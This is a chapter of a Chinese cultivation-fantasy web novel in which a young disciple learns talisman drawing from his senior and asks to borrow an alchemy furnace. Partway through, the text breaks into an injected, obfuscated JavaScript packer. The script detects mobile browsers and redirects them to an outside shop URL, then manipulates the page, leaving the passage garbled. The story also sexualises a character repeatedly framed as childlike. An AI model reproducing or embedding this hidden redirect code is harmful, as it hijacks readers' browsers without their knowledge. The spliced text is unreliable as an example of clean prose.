“看来不苦。”雪碧尘淡淡笑了,“那便多吃些。” 修长指节捧着那琉璃碗,他用玉勺舀着一口口喂桑灵,哄着,“灵儿还小,在长身体呢。” 仙草满头问号:【这老登干啥呢。】 桑灵被一口口喂着,总算体会到仙草口中的“圣父”“白骑士病”。 雪碧尘事事都喜欢替他做,好心肠得过分,丝毫不觉麻烦,反而乐在其中。 桑灵含着一口雪莲羹,偷偷想,父兄照顾幼子,大抵便是这般模样吧。 【圣父心大爆发,骑士瘾来了,以为自己在拯救公主呢。】仙草道,【这种人喜欢通过保护别人、照料弱小满足自己,看似禁欲其实控制欲很重,你不要被他骗了啊!】 话本中的雪碧尘是所有人眼中的完美首席大师兄,自幼受严苛礼教熏陶,温润有礼,是人人敬仰的端方君子,但和主角有了肌肤之亲后,压抑多年的情-欲爆发,日日夜夜沉溺情爱,一发不可收拾。 初次便干了七天七夜。 若非主角哭着颤着求饶,怕是还能再战。 观雪碧尘温柔的模样模样,桑灵实在无法将他与话本中开荤后化身淫-魔的形象重合到一处。 桑灵胃口小,半碗鱼羹与莲子羹下肚便吃撑了,灵食正热乎,蒸得他面庞嘴唇红艳艳,像抹了一层薄薄胭脂。 雪碧尘按了按他微微鼓起的小腹,觉得还能再喂些:“糕点不占肚,再吃两块灵笋糕,灵笋有安神之效,夜里好睡。” 正说着,一弟子急匆匆来报:“大师兄,花都雪家差人来信。” 雪碧尘的家族坐落在花都城中,是声名显赫的丹药世家,群英萃在即,丹药供需量大,偏有敌对家族针对,屡屡与雪家争抢货源,雪家这一辈又无成器炼丹师,雪碧尘少不了为家族奔波炼丹。 他暂且放下桑灵,让桑灵先自己吃着,起身步入院中处理来信。 另一弟子悄咪咪上前:“大师兄真的很喜欢你,我倒是头一回见他对一个人这么上心温柔呢!” 【管家第一次见少爷笑得这么开心。??】仙草幽幽道。 桑灵:“……” 那是因为雪碧尘有白骑士病,他道,“大师兄待谁都温柔。” 弟子摇摇头:“大师兄平日虽然和善,但对你是不一样的,也从未让他人在梨院住下,哪怕是他亲表弟……” “偷偷说我坏话呢?” 雪碧尘折返归来,他迈过门槛,雪色锦袍沾了几瓣白梨花,被微风一同回到室内。 “弟子不敢!”那弟子拱手笑道,“只是感慨大师兄对桑灵小师弟十分宠溺,这般悉心照料,活像当儿子疼惜呢。” 【终于见到正常的父子关系了。??】 桑灵一脸呆滞。 雪碧尘笑了笑,重新将桑灵抱在腿上坐好,低头看他:“若你再小上几岁,倒真能唤我一声爹爹。” 桑灵恼羞成怒:“……师兄!” 雪碧尘不再逗他,将人往怀里拉了拉:“好了,师兄不说了。” “师兄继续教你练字。” 弟子撤下膳食,恭敬禀告:“大师兄,拍卖行新送来的丹炉已放在丹房,旧的那尊该如何处置?” 桑灵蓦地竖起耳朵,听见雪碧尘说:“先放在丹房,日后我自会处置。” 雪碧尘将桑灵带到他的书房,这间屋子更为敞亮,四壁书架通天。 握着桑灵的手运笔时,雪碧尘看见那截素白后颈贴着几缕毛茸茸的碎发。 他蓦然想起那弟子的无心玩笑话。 他仿佛真体会到养儿子的乐趣,桑灵最近被养出点肉,他很喜欢,有种吾家有儿初长成的欣慰。 桑灵满脑子都是雪碧尘的丹炉。 拍卖行送来的药鼎自然不是凡品,那旧丹炉呢?雪碧尘会如何处置?丢了?那多可惜,若是能卖……即便是旧丹炉,他也定然买不起,但他可以租。 雪碧尘会同意吗? 桑灵不好意思提。 算了,灵草还没长出来呢,想这么多做什么? 笔尖在纸上晕开一团墨迹。 察觉到桑灵心不在焉,雪碧尘顺着视线望去,他看到桑灵正定定盯住素腕间的红发带出神。 修长手指转而握住桑灵的下巴,雪碧尘将那张游神的小脸抬了起来。 他温声开口:“一直走神……你在想谁?” 13.捉奸 “师兄。” 桑灵下意识道,“我方才在想师兄。”的旧丹炉。 雪碧尘垂下温润眼帘,怀中那张面庞莹白稚嫩,清润眼底坦坦荡荡映着他的影子,桑灵显然不会撒谎,这是桑灵的真心话。 他喜欢诚实的孩子,特别是像桑灵这样的乖孩子。 “原来心里在念着师兄。”雪碧尘将他微凉的手重新拢入掌心,“今日想练什么字?” 桑灵悟性极佳,一点即通,纵使早年无人启蒙,亦不曾受正统教化。短短七日,他便能将大部分古字认全,只是有些笔画繁琐的古字仍写得不顺畅。 桑灵想了想,仰起脸说:“我想学画符。” 有现成的师者在侧,桑灵忙从雪碧尘膝上起身,伏趴在书案,伸臂去取高架上的符箓典籍。 无奈他身形尚未长开,身量不足,指尖勉强擦过书脊,怎么都够不着。 身后传来一道低低轻笑。 被窥见窘态,桑灵耳尖微热,面上掠过羞赧,正要抿唇坐回去,雪碧尘却突然站起俯身探臂,轻松取走书架高处的书册。 重新落座时,顺势将桑灵按回腿上。 “想学何种符箓?” 寻到夹在书页的签子,桑灵翻开那页。雪碧尘定睛一瞧,竟是聚灵符。 “上来便学这么难的么?” 原以为雪碧尘要说他眼高手低,不料雪碧尘赞道,“敢于挑战,心气不俗是好事。此前可练过聚灵符?画得如何?” 桑灵失落:“画得不好。” 聚灵符符文繁琐复杂,桑灵反复临摹,始终不得精髓。 雪碧尘思忖片刻,展开一张空白符纸:“如果将聚灵符拆解开来看,是否会更加直观呢?” 符文被拆成三段,层次分明,经雪碧尘三言两语点拨,瞬间一目了然。 桑灵看直了眼,难怪许多人费尽心思也要进入大宗们,顶尖师长的一语点拨抵得上闭门造车的苦修。 这也愈发坚定他要在群英会上拜入符箓或丹药宗门的决心。 雪碧尘耐着性子逐步拆解符文奥义,捉着桑灵的手一起临摹两遍,等桑灵吃透要领,才松手鼓励道:“自行试试。” 桑灵认真垂首落笔,雪碧尘看得微微诧异,桑灵不过被他带着临摹两遍,绘制出来的符文规整标准,观品相至少中品。 这般天赋,放眼整个碧海云天都是凤毛麟角。 修士画符炼丹,通常会融入自身精血作为印记,杜绝他人冒领窃取。 符成落笔,桑灵按照雪碧尘先前所教,咬破指尖将血珠点在符纸上。 手腕被轻轻攥住,雪碧尘取出干净锦帕,皱眉看向他素白指腹洇出血珠,还染着点晶莹唾液。他缓慢擦拭掉表面液体:“尚在练习阶段,不必次次融血。” 桑灵被握着手,不太自在,却也习惯雪碧尘无微不至的关怀,故而没有收回手。 “院中新移数盆灵草,皆刚刚种下,正好给你试验符箓效果。” 桑灵迫不及待注入灵力,将聚灵符丢入院中。 清风徐徐,庭院寂静。 等了许久,四周灵力并无流转变化,灵草非但没有被催熟盛开,嫩芽反而瑟瑟蜷缩,瞧着比先前更萎靡了。 桑灵耷拉下肩膀:“师兄,我失败了。” 怎么会?他那符画得极尽标准,哪怕是天灵根的雪碧尘都要赞叹他的天赋,品相不说上品也有中品,绝非废符,怎会毫无效果? 见少年垂头丧气的模样,雪碧尘顺势将人轻轻揽入怀中,拍着脊背安抚,“许是院中灵草新种,根系未稳水土不服,暂时无法承接灵气,并非你的过错。” “明日再试,结果定有不同。” 桑灵将额头抵在雪碧尘肩头,知晓全是哄骗他的虚言。 虽然灵植各有脾气,但最喜天地灵力滋养,断无抗拒灵力的道理。 总不能是灵力太多太浓郁,初生灵植根基脆弱无法承受,撑晕过去了吧? 桑灵没了练字的兴致,自己跟自己生闷气。 雪碧尘忍俊不禁:“怎么还生气了?好了,先不气了,清云让人送来几身春装,回屋试试吧。” 桑灵困惑:“他为何又给我送衣裳?” 雪碧尘委婉道:“大抵是感念你的救命之恩。” 桑灵:“……” 郁闷看向手腕上的红发带,他一直想找机会还给风清云,但不见风清云踪影。他试着将发带取下,发带生了灵智般总会趁他熟睡缠上他的脚踝、小腿,甚至有一次缠在腿根,反复数次,他便懒得再管,干脆缠在手上。 发带这才消停,不再在他身上乱钻。 “师兄,风清云什么时候来梨院?” “你很想着他?” “也不是……”桑灵不知如何措辞,“我有东西想给他。” 半晌,雪碧尘才道:“这几日他便会来梨院,你自能得偿所愿。” “谢谢师兄,”桑灵从雪碧尘腿上滑了下来,轻盈落地,“那我先回房了。” 桑灵一路小跑穿过庭院,身姿纤薄步履轻盈,微风吹拂,雪色衣袍被吹得散开,露出内里淡绯的衣襟,腕间那根红色发带被吹得飞扬,仿佛朱红廊下一只蹁跹粉蝶。 雪碧尘突然明白了,为何风清云总给他置办新衣。 碧海云天的弟子服统一雪色,桑灵年岁小,最适合穿鲜艳颜色,风清云便变着法子给他换内里的衣裳。看似寻常一致的雪色弟子服,被风一吹,便露出独属于他的鲜活艳色。 这时,院中景致骤然变化。 院中梨花树花架上,一盆盆新搬来的灵植,原本还是萌芽、矮小蜷缩阶段,不过眨眼的功夫,竟尽数抽枝展叶,长势勃发,全部进入了成熟期。 青草木香飘满梨院,桑灵将大门、窗牖紧闭,褪去外袍,伏在在风清云为他准备的一床锦被新衣上,指尖轻碰耳珰,专注控灵浇灌他的灵植。 聚灵符失败不要紧,他可以用催灵符继续滋养催熟,只是效果稍逊一筹。 近一个时辰,桑灵都待在芥子空间,叶片翠绿枝干饱满,距成熟期只有一步之遥。 他面庞微微红润,再次催生出他的伴生火种,一簇火光在指尖微微摇晃,映着他的眼睛。 灵草已成,火种具备,唯独缺药鼎一尊。 下山租借丹炉也是一个法子,但弟子下山次数受限,私自下山更是违规。最好的法子,还是找雪碧尘借。 “唔!” 神识猛地剧痛,桑灵如虾米蜷在床上,面颊半埋进银白锦缎间,唇瓣微分直吐热气,被淡绯春衫包裹的单薄肩膀颤颤,勾勒出清瘦骨骼的细微起伏。 他睁着清润茫然的眼睛,良久,才抬手轻按小腹。 识海剧痛是因神识运用过度,但这股饥饿感…… 近日身体发育生长,桑灵时常感到饥饿。 但今日的“饿”截然不同,在动用灵力后更是明显,仿佛身体不满灵力流失却没有补充,正在发出抗议。 【你竟然不知《纳元诀》的原理?】 桑灵确实不知。 昔日时间紧迫,他接受完传承,睁开眼便需面临坍塌的秘境。 【殷氏老祖居然没跟你说?好吧,也确实不是很光彩。】 【纳元诀纳的是天地精元、万物灵力。】仙草解释,【《纳元诀》需要源源不断的灵力供养,能强行吸收周遭精纯灵力帮助修士突破,修为一日千里,堪称邪功。】 【但是修为越高,对灵力需求越疯狂,若得不到满足,修士性情逐渐暴戾不受控制,杀心也会变重,也就是所谓的反噬……】 桑灵庆幸,幸好他修为低微。 若他当真修炼此法,以他这穷身家,怕是根本养不起这门功法,迟早走火入魔。 【你长时间催动灵力画符、滋养灵植,体内灵力早已耗尽,传承渴求灵气补给,催促你快去寻些灵物吸收,所以你才感觉饿。】仙草哼哼道,【不过如今灵气没有上古时期充盈,也不一定要用法宝采补,你可以从修士身上汲取灵力……比如雪碧尘与风清云,他们可是千年难遇的天骄,灵力精纯醇厚。】 【对了,他们还都是元阳未泄的处男哦。】 【初精超补的!??】 桑灵年少纯然,无人教导相关知识,先是懵懂茫然,将仙草这番话认真思索一番,没搞懂,待他重新趴回臂弯,大脑中某根弦骤然接通,瞬间串了起来,震得他心神俱颤! 纳元纳元……竟纳的是精元! 桑灵严肃呵斥:“这种秽言,以后休要再提!” 洇透黑睫如细薄颤动的蝶翼,桑灵皮肤本就薄嫩,如今热气从面庞延进脖颈、领口,比身上那淡绯半透的春衫还要鲜红。 他是男子,怎么能…… 怎可、怎能含其他男子的精元? 这般行径实在荒唐,污人身心! 仙草还想再说,但见桑灵整张俏丽小脸红透了,看那眼圈湿润润的,仿佛羞耻到要哭出来,不敢再言语。 桑灵没料到他得到的传承是这样的邪功。 幸好他修为不高,因满足不了传承需求,最多只是饿。 先前他倒是对传承中的剑招感兴趣,好在他没有贸然比划学习。练剑基础很重要,如同学字,若是起初框架基本功没有打好,后续很容易走上弯路。 但不会有大能愿意收五灵根当弟子,他还是安安心心学习画符,并尝试炼丹吧。 功法何时都能练,命只有一条,若莽撞修炼被反噬,反而得不偿失。他向来谨慎。 【小风子不是说要对你负责,待他金丹有了洞府,若他肯向他师尊天璇长老求情,未必不能为你讨到名师指点。】仙草灵机一动,【或者待他元婴大成……但不知是何年何月了。】 结丹成婴动辄百年,于修士而言不过弹指一间,于桑灵却漫长一生,他等不起,也从未将风清云的承诺放在心上。 风清云说要对他负责,无非是剧情出现差错,待真正的主角出现,风清云便会明白谁才是此生挚爱。 “他拥有的比我更多,才领先我一步。” 可那一步并非天堑,他总会迈过去。 桑灵自知弱小,但这只是暂时的,草木微末尚能饮露破土,他亦能汲取营养蓬勃生长。 眼下最要紧的是专注符箓与丹道,打磨自身根基,未来的传承也许能派上用场。 这一切前提是,他要活下去。 他必须离开碧海云天。 【或许你考虑下合欢宗呢?若用合欢宗的功法辅以《纳元诀》,倒也是一桩美事。】 桑灵心头微恼:“到底美在哪里?” 【你莫要认为合欢宗是不入流的去处,人家可是正儿八经的大门派,弟子个个容貌出众,门派功法最擅长双修互补。】 “那与我何干?” 【怎么与你无关?】仙草一本正经道,【你得到的传承《纳元诀》说到底也是采补之法,不过采补的是灵气,需大量灵气为食。可若按正统路子修炼,你得吞多少丹药法器才能喂饱?可若是凭借合欢宗功法采补灵力,不比吃苦受累修炼来得轻松快活?】 粉腮趴在白锦枕间,如一片霞云落在雪地。 桑灵抿唇将脸埋进枕间,却无法阻挡仙草的污言秽语。清丽眉眼悄然浮起一层羞赧的水色,明明是窘迫难堪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692749|207270||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的神色,却愈发显得色若春晓。 “修真应清正自持,怎能借风月求取捷径?” 【大道万千,殊途同归。而且你这般好看,若是入了合欢宗,怕是整个修真大能都愿意将最好的精元交给你……】仙草循循善诱,【你身边又有现成的两位千年难遇的天灵根,还都是元阳未泄之身,若你能从他们身上采得精纯元气,抵得上你苦修数年!】 【尤其是雪碧尘,他年纪轻轻便是金丹,水灵根精纯无比,你若能与他双修一回,莫说筑基,怕是连金丹门槛都能摸到……】 “够了!” 桑灵一把扯过锦被,将子从头到脚包了个严实,闷在被褥间的声音又羞又闹,“你再胡言乱语,我便不与你说话了!” 那可不行!仙草最受不了这个,当即噤声不语,生怕桑灵当真不搭理他。 雅致耳房窗明几净,此刻却仿若成了蒸屉,将桑灵焖得喘不过气。 他将脸贴在白锦枕面,心绪纷乱如麻,面庞越是烧得厉害。 他彻底坐不住,忙起身推开门,欲借微风吹走他的满身羞热。 却因走路太急,径直撞上了一人。 “何事如此惊慌?” 雪碧尘顺势揽着桑灵,垂眸望去,桑灵的雪色外袍已然褪去,只着单薄半透的淡粉色春衫。 再看他小脸红扑扑,一看便是刚睡醒、意识还不清呢。 “午觉睡饱了?” 雪碧尘见桑灵仍呆呆的,干脆将他抱在身上,像往常一样落座庭院桌案前,摊开一张符纸,“可要继续练字?” 桑灵想练,但不想和雪碧尘练。 想到仙草所言的精元吸纳之法,还有什么合欢宗双修,他便无法直视雪碧尘等人,恨不得离他们远远的。 细微的抗拒与躲闪,让雪碧尘手腕微顿,一滴墨迹落在他的袖袍,晕开大片深色。 他眼眸缓缓落下,注视桑灵抿唇的面庞。 前段时间,他们每日皆是如此。雪碧尘如父如兄悉心教导,二人好不亲昵,起初桑灵虽不习惯,须臾后便完全熟悉他的存在,将身子依偎在他的怀里。 为何现在突然变了呢? 天幕落了晚霞,在桑灵薄嫩皮肤上映出淡淡光泽。 清瘦手腕垂落,系着的发带圈圈缠绕,红得刺眼。 因为风清云。 方才他们如往常亲昵,雪碧尘告诉桑灵近日会来梨院,桑灵便便刻意与旁人划清界限。 像为远行归来的丈夫守贞,桑灵不再愿意被其他男子触碰。 雪碧尘云淡风轻执起桑灵的手:“今日要练什么字?” 桑灵心不在焉:“都可以。” “那便随意写了。” 天穹霞光流转笼罩在二人身上,雪碧尘眼帘暗暗垂下,带着桑灵练字,漫不经心道,“有话想对师兄说么?” 桑灵睁大眼睛,雪碧尘怎么知道? “是什么话呢?但说无妨。” 桑灵刚要鼓起勇气张唇,下巴被轻轻托起。 大掌顺着他的下颌抚在面庞,雪碧尘脸上仍是温柔纵容笑意,宛若无瑕君子,“师兄知道你是好孩子,想好再说。” 桑灵莫名紧张,他满脑子都是租借丹炉药鼎的请求,心绪纷乱下脱口而出:“师兄,我能租你当炉鼎吗?” 话音刚落便意识到口误,桑灵面颊瞬间涨红,恨不得就地遁走。 雪碧尘微怔,闻言失笑,指尖轻点他发烫面颊:“你今年年岁几何,便要师兄给你当炉鼎?还论租借?” “你要给师兄多少银钱?” “不是……是丹炉、药鼎!旧的就可以。”桑灵连忙解释。 原是一场乌龙。 年纪轻轻如此好学,果真是好孩子,雪碧尘颔首:“那尊旧炉鼎留着也无用,你既对丹术有兴趣,便给你了。” 了却一桩心事,桑灵高兴极了,淡绯色春衫落在他身上,被风吹得衣襟散开,突出深陷的锁骨内,竟有一枚鲜红小痣,颜色灼灼,与他额心那抹红同样颜色。 难得见桑灵如此孩子气的模样,雪碧尘曲起手指轻刮桑灵的额头:“高兴成这样?” 桑灵慌张抬手捂住额头:“师兄……” 那模样像突然被摸了肚皮的猫儿,满是不可置信。雪碧尘轻笑着将敞开的衣襟拢好:“我们继续练字。” 晚风席卷,骤然转凉。 富有压迫感的脚步声步步逼近,伴随厉声质问。 “你们在做什么?” 老梨树之下,风清云佩剑走来,那张与雪碧尘有着六七分相似的年轻面庞冷冽沉郁,正竭力压制愠色。 那盛怒的模样,与久而归家后撞破妻子与奸夫纠缠的丈夫没什么两样。 风清云俯瞰端坐缠抱在一起的二人。 桑灵身上是他亲手置办的淡绯色春衫,腕间也缠着他的定情发带,此刻却坐在他表兄身上。 风清云神色凌厉不善,趋利避害的本能,让桑灵往雪碧尘的方向靠了靠。 原本风清云尚能忍耐,此举令他面色风暴聚敛,佩在腰间的本命灵剑也因妒火躁动。 雪碧尘搂着桑灵问:“你怎么来了?” 风清云反问:“我打扰你们了么?” 雪碧尘不愿他们因自己生出嫌隙,温声解释:“我不过是在教灵儿练字。内门藏书多为古字,他不识古字,我代为启蒙罢了。” 练字?启蒙? 风清云神色狐疑,不知信了几分。 锐利目光一转,落在桌案平铺的素纸上,那是二人方才十指交缠写出来的字,字迹端正,一笔一划。 是雪碧尘的名字。